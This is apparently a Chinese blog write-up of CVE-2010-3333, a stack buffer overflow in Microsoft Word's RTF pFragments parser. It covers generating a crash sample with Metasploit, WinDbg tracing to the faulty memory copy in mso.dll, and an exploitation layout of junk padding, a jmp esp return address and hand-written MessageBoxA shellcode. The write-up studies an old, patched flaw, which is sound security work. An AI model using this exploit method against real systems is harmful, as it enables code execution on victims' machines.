CVE-2010-3333

环境

windows xp sp3
office 2003 sp0
windbg
ollydbg
vmware 12.0

0x00 RTF格式

RTF是Rich TextFormat的缩写,意即富文本格式。

...(详细分析再议)

0x01 漏洞分析

1.利用Metasploit生成可触发漏洞的Poc样本

msf > search cve-2010-3333

Matching Modules
================

   Name                                                    Disclosure Date  Rank   Description
   ----                                                    ---------------  ----   -----------
   exploit/windows/fileformat/ms10_087_rtf_pfragments_bof  2010-11-09       great  MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)


msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > info

       Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
     Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-09

Provided by:
  wushi of team509
  unknown
  jduck <jduck@metasploit.com>
  DJ Manila Ice, Vesh, CA

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Microsoft Office 2002 SP3 English on Windows XP SP3 English
  2   Microsoft Office 2003 SP3 English on Windows XP SP3 English
  3   Microsoft Office 2007 SP0 English on Windows XP SP3 English
  4   Microsoft Office 2007 SP0 English on Windows Vista SP0 English
  5   Microsoft Office 2007 SP0 English on Windows 7 SP0 English
  6   Crash Target for Debugging

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.rtf          yes       The file name.

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in the handling 
  of the 'pFragments' shape property within the Microsoft Word RTF 
  parser. All versions of Microsoft Office 2010, 2007, 2003, and XP 
  prior to the release of the MS10-087 bulletin are vulnerable. This 
  module does not attempt to exploit the vulnerability via Microsoft 
  Outlook. The Microsoft Word RTF parser was only used by default in 
  versions of Microsoft Word itself prior to Office 2007. With the 
  release of Office 2007, Microsoft began using the Word RTF parser, 
  by default, to handle rich-text messages within Outlook as well. It 
  was possible to configure Outlook 2003 and earlier to use the 
  Microsoft Word engine too, but it was not a default setting. It 
  appears as though Microsoft Office 2000 is not vulnerable. It is 
  unlikely that Microsoft will confirm or deny this since Office 2000 
  has reached its support cycle end-of-life.

References:
  https://cvedetails.com/cve/CVE-2010-3333/
  OSVDB (69085)
  https://technet.microsoft.com/en-us/library/security/MS10-087
  http://www.securityfocus.com/bid/44652
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880

msf exploit(ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf exploit(ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/moonagirl/.msf4/local/msf.rtf

获取样本后,我们利用windbg进行分析。

2.样本分析

打开WINWORD.exe,并用windbg附加进场,再打开msf.rtf触发异常。

从打印信息里可以知道是mso.dll出问题了,执行到30e9eb88 的时候程序异常了。

我们假设发生异常的地址30e9eb88在vuln函数中。然后我们再重新运行一遍,并且事先在30e9eb88处下一个断点。

运行后打开msf.rtf在30e9eb88停下。断下后,查看栈回溯,看看是哪个函数调用到了vuln函数的。

    

图中,mso!Ordinal6426+0x64d函数就是vuln函数,那么调用它的函数就是mso!Ordinal1753+0x306e。然后我们再想办法看看mso!Ordinal1753+0x306e函数里发生了什么。

由上可知,mso!Ordinal1753+0x306e函数地址为30f4cc5d.我们再重新附加msf.rtf,并实先在30f4cc5d处下断点。

于是便进入了30f4cc5d函数处,也就是调用vuln函数的函数里。F10单步执行看看该函数中发生了什么。

这里该函数开辟了0x14字节的栈空间。继续跟踪。跟踪到调用vuln函数的地方。

按F8进入vuln函数。可以发现用req movs指令复制内存时,ecx的值为c8ac,即复制数据的大小。

回头看下msf.rtf样本数据,可以发现上面的c8ac其实是来源于样本数据的。它位于pFragements属性值得第三个字段,偏移8个字符后的4个字符即为复制的数据大小。

而c8ac后面的数据就是实际内存复制的数据,我们可以从内存源地址esi中看出来。

复制内存的目标地址edi刚好偏移栈底ebp共0x10个字节,加上edp本身占用的4字节,刚好共0x14字节,再覆盖下去就是函数的返回地址了。

总结:由于Word中的RTF分析器在解析pFragments属性值时,没有正确计算属性值所占用的空间大小,只要复制的数据大小超过0x14即可覆盖到函数返回地址,进而控制程序的执行流程,用于执行恶意程序。(这里RTF分析器在复制数据时会把每两个相邻的数字解析成一个16进制数转成对应的ascii复制进内存。例如:在rtf中是30复制进内存被解析成0。因此0x14个字节在rtf中要用40个垃圾字符来填充。)       (:强行解释一波...hhhhhh

3.漏洞利用

我们只需将返回地址用jmp esp指令地址覆盖,例如:‘a’ * 40 + (jmp esp地址)。然后将shellcode放在后面,即可执行任意代码。由于vuln函数返回前会弹出0x14大小的栈空间,因此我们需要填充一些垃圾字符。例如:‘a’*40 + (jmp esp地址) + 'a'*40 + shellcode.

下面开始编写shellcode.

jmp esp的地址可以通过windbg在mso.dll中找到。

MessageBoxA函数地址可以通过od找到。为0x77D507EA

构造shellcode.

xor ebx,ebx
push ebx    // cut string   53
push 0x20206c72
push 0x6967616e
push 0x6f6f6d20
push 0x6d612069
		
mov eax,esp
push ebx    // Type
push eax    // 
push eax    // Text
push ebx    // hWnd

mov eax,0x77D507EA    // address of messageboxA
call eax

push ebx
mov eax,0x7c81CAFA
call eax    // FFD0

最后有(注意小写,内部有检测机制)!!!!!!!!!

0x02利用成功

原文地址:https://www.cnblogs.com/elvirangel/p/7629886.html